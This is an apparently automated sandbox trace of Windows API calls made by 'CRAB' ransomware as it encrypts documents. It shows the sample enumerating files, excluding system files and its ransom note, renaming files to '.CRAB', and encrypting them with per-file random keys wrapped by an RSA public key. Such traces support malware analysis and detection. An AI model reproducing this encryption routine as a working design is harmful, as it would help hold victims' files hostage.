	[0127.244] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\2758g.pdf.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\2758g.pdf.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\2758g.pdf.CRAB.CRAB"
	[0127.244] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e9e0) returned 1
	[0127.247] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0127.247] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0127.248] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0127.248] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x314bec4 | out: pbBuffer=0x314bec4) returned 1
	[0127.248] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0127.248] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.248] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e408) returned 1
	[0127.282] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0127.283] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0127.283] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0127.283] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314bea0 | out: pbBuffer=0x314bea0) returned 1
	[0127.283] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0127.283] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.283] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0127.284] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0127.284] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6e408) returned 1
	[0127.287] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x318f4b8) returned 1
	[0127.287] CryptGetKeyParam (in: hKey=0x318f4b8, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0127.287] CryptEncrypt (in: hKey=0x318f4b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314bed4*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314bed4*=0x100) returned 1
	[0127.287] GetLastError () returned 0x0
	[0127.287] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0127.287] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6e738) returned 1
	[0127.290] CryptImportKey (in: hProv=0xd6e738, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x318ed78) returned 1
	[0127.290] CryptGetKeyParam (in: hKey=0x318ed78, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0127.290] CryptEncrypt (in: hKey=0x318ed78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314bed8*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314bed8*=0x100) returned 1
	[0127.291] GetLastError () returned 0x0
	[0127.291] CryptReleaseContext (hProv=0xd6e738, dwFlags=0x0) returned 1
	[0127.291] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\2758g.pdf.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\2758g.pdf.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0127.291] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0127.291] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0127.292] ReadFile (in: hFile=0x3f0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314bf1c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314bf1c*=0x10912, lpOverlapped=0x0) returned 1
	[0127.306] VirtualAlloc (lpAddress=0x0, dwSize=0x10920, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0127.307] VirtualAlloc (lpAddress=0x0, dwSize=0x10920, flAllocationType=0x3000, flProtect=0x4) returned 0x320000
	[0127.309] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.309] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xfffef6ee, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.309] WriteFile (in: hFile=0x3f0, lpBuffer=0x320000*, nNumberOfBytesToWrite=0x10920, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x320000*, lpNumberOfBytesWritten=0x314bf0c*=0x10920, lpOverlapped=0x0) returned 1
	[0127.310] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.310] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.316] WriteFile (in: hFile=0x3f0, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0127.316] WriteFile (in: hFile=0x3f0, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0127.316] WriteFile (in: hFile=0x3f0, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314bf0c*=0x8, lpOverlapped=0x0) returned 1
	[0127.316] CloseHandle (hObject=0x3f0) returned 1
	[0127.317] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.317] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.317] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.317] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.318] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.318] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.318] FindNextFileW (in: hFindFile=0x318ef78, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0127.318] lstrcmpW (lpString1="8JkD6gezfe6nCdg9qJ.ods", lpString2=".") returned 1
	[0127.318] lstrcmpW (lpString1="8JkD6gezfe6nCdg9qJ.ods", lpString2="..") returned 1
	[0127.318] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\", lpString2="8JkD6gezfe6nCdg9qJ.ods" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\8JkD6gezfe6nCdg9qJ.ods") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\8JkD6gezfe6nCdg9qJ.ods"
	[0127.318] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0127.319] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\8JkD6gezfe6nCdg9qJ.ods") returned 76
	[0127.319] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\8JkD6gezfe6nCdg9qJ.ods") returned 76
	[0127.319] lstrlenW (lpString=".ods") returned 4
	[0127.319] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0127.319] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ods ") returned 5
	[0127.319] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.319] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\8JkD6gezfe6nCdg9qJ.ods") returned 76
	[0127.319] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\8JkD6gezfe6nCdg9qJ.ods") returned 76
	[0127.319] lstrcmpiW (lpString1="8JkD6gezfe6nCdg9qJ.ods", lpString2="desktop.ini") returned -1
	[0127.319] lstrcmpiW (lpString1="8JkD6gezfe6nCdg9qJ.ods", lpString2="autorun.inf") returned -1
	[0127.319] lstrcmpiW (lpString1="8JkD6gezfe6nCdg9qJ.ods", lpString2="ntuser.dat") returned -1
	[0127.319] lstrcmpiW (lpString1="8JkD6gezfe6nCdg9qJ.ods", lpString2="iconcache.db") returned -1
	[0127.320] lstrcmpiW (lpString1="8JkD6gezfe6nCdg9qJ.ods", lpString2="bootsect.bak") returned -1
	[0127.320] lstrcmpiW (lpString1="8JkD6gezfe6nCdg9qJ.ods", lpString2="boot.ini") returned -1
	[0127.320] lstrcmpiW (lpString1="8JkD6gezfe6nCdg9qJ.ods", lpString2="ntuser.dat.log") returned -1
	[0127.320] lstrcmpiW (lpString1="8JkD6gezfe6nCdg9qJ.ods", lpString2="thumbs.db") returned -1
	[0127.320] lstrcmpiW (lpString1="8JkD6gezfe6nCdg9qJ.ods", lpString2="CRAB-DECRYPT.txt") returned -1
	[0127.320] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0127.320] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\8JkD6gezfe6nCdg9qJ.ods.CRAB") returned 81
	[0127.320] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\8JkD6gezfe6nCdg9qJ.ods" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\8jkd6gezfe6ncdg9qj.ods")) returned 0x20
	[0127.320] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\8JkD6gezfe6nCdg9qJ.ods", dwFileAttributes=0x20) returned 1
	[0127.321] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\8JkD6gezfe6nCdg9qJ.ods" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\8jkd6gezfe6ncdg9qj.ods"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\8JkD6gezfe6nCdg9qJ.ods.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\8jkd6gezfe6ncdg9qj.ods.crab")) returned 1
	[0127.322] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0127.322] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\8JkD6gezfe6nCdg9qJ.ods.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\8JkD6gezfe6nCdg9qJ.ods.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\8JkD6gezfe6nCdg9qJ.ods.CRAB"
	[0127.322] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\8JkD6gezfe6nCdg9qJ.ods.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\8JkD6gezfe6nCdg9qJ.ods.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\8JkD6gezfe6nCdg9qJ.ods.CRAB.CRAB"
	[0127.322] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e9e0) returned 1
	[0127.325] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0127.325] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0127.325] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0127.325] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x314bec4 | out: pbBuffer=0x314bec4) returned 1
	[0127.325] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0127.326] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.326] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e408) returned 1
	[0127.329] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0127.329] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0127.334] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0127.334] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314bea0 | out: pbBuffer=0x314bea0) returned 1
	[0127.334] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0127.334] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.335] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0127.335] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0127.335] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6ed98) returned 1
	[0127.338] CryptImportKey (in: hProv=0xd6ed98, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x318f338) returned 1
	[0127.338] CryptGetKeyParam (in: hKey=0x318f338, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0127.338] CryptEncrypt (in: hKey=0x318f338, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314bed4*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314bed4*=0x100) returned 1
	[0127.339] GetLastError () returned 0x0
	[0127.339] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0127.339] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6e5a0) returned 1
	[0127.341] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x318f1f8) returned 1
	[0127.341] CryptGetKeyParam (in: hKey=0x318f1f8, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0127.341] CryptEncrypt (in: hKey=0x318f1f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314bed8*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314bed8*=0x100) returned 1
	[0127.342] GetLastError () returned 0x0
	[0127.342] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0127.342] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\8JkD6gezfe6nCdg9qJ.ods.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\8jkd6gezfe6ncdg9qj.ods.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0127.342] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0127.343] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0127.343] ReadFile (in: hFile=0x3f0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314bf1c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314bf1c*=0xcb9d, lpOverlapped=0x0) returned 1
	[0127.354] VirtualAlloc (lpAddress=0x0, dwSize=0xcba0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0127.355] VirtualAlloc (lpAddress=0x0, dwSize=0xcba0, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0127.356] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.357] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xffff3463, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0127.357] WriteFile (in: hFile=0x3f0, lpBuffer=0x310000*, nNumberOfBytesToWrite=0xcba0, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314bf0c*=0xcba0, lpOverlapped=0x0) returned 1
	[0127.357] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.358] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.362] WriteFile (in: hFile=0x3f0, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0127.362] WriteFile (in: hFile=0x3f0, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0127.362] WriteFile (in: hFile=0x3f0, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314bf0c*=0x8, lpOverlapped=0x0) returned 1
	[0127.362] CloseHandle (hObject=0x3f0) returned 1
	[0127.362] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.362] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.363] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.363] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.363] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.363] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.364] FindNextFileW (in: hFindFile=0x318ef78, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0127.364] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0127.364] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0127.364] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\CRAB-DECRYPT.txt"
	[0127.364] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0127.364] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\CRAB-DECRYPT.txt") returned 70
	[0127.364] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\CRAB-DECRYPT.txt") returned 70
	[0127.364] lstrlenW (lpString=".txt") returned 4
	[0127.364] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0127.365] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0127.365] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.365] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\CRAB-DECRYPT.txt") returned 70
	[0127.365] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\CRAB-DECRYPT.txt") returned 70
	[0127.365] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0127.365] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0127.365] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0127.365] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0127.365] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0127.365] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0127.365] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0127.365] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0127.365] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0127.365] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.366] FindNextFileW (in: hFindFile=0x318ef78, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0127.366] lstrcmpW (lpString1="f80SGZ.pdf", lpString2=".") returned 1
	[0127.366] lstrcmpW (lpString1="f80SGZ.pdf", lpString2="..") returned 1
	[0127.366] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\", lpString2="f80SGZ.pdf" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\f80SGZ.pdf") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\f80SGZ.pdf"
	[0127.366] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0127.366] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\f80SGZ.pdf") returned 64
	[0127.366] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\f80SGZ.pdf") returned 64
	[0127.366] lstrlenW (lpString=".pdf") returned 4
	[0127.366] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0127.366] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".pdf ") returned 5
	[0127.366] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0127.367] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\f80SGZ.pdf") returned 64
	[0127.367] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\f80SGZ.pdf") returned 64
	[0127.367] lstrcmpiW (lpString1="f80SGZ.pdf", lpString2="desktop.ini") returned 1
	[0127.367] lstrcmpiW (lpString1="f80SGZ.pdf", lpString2="autorun.inf") returned 1
	[0127.367] lstrcmpiW (lpString1="f80SGZ.pdf", lpString2="ntuser.dat") returned -1
	[0127.367] lstrcmpiW (lpString1="f80SGZ.pdf", lpString2="iconcache.db") returned -1
	[0127.367] lstrcmpiW (lpString1="f80SGZ.pdf", lpString2="bootsect.bak") returned 1
	[0127.367] lstrcmpiW (lpString1="f80SGZ.pdf", lpString2="boot.ini") returned 1
	[0127.367] lstrcmpiW (lpString1="f80SGZ.pdf", lpString2="ntuser.dat.log") returned -1
	[0127.367] lstrcmpiW (lpString1="f80SGZ.pdf", lpString2="thumbs.db") returned -1
	[0127.367] lstrcmpiW (lpString1="f80SGZ.pdf", lpString2="CRAB-DECRYPT.txt") returned 1
	[0127.367] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0127.367] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\f80SGZ.pdf.CRAB") returned 69
	[0127.369] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\f80SGZ.pdf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\f80sgz.pdf")) returned 0x20
	[0127.369] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\f80SGZ.pdf", dwFileAttributes=0x20) returned 1
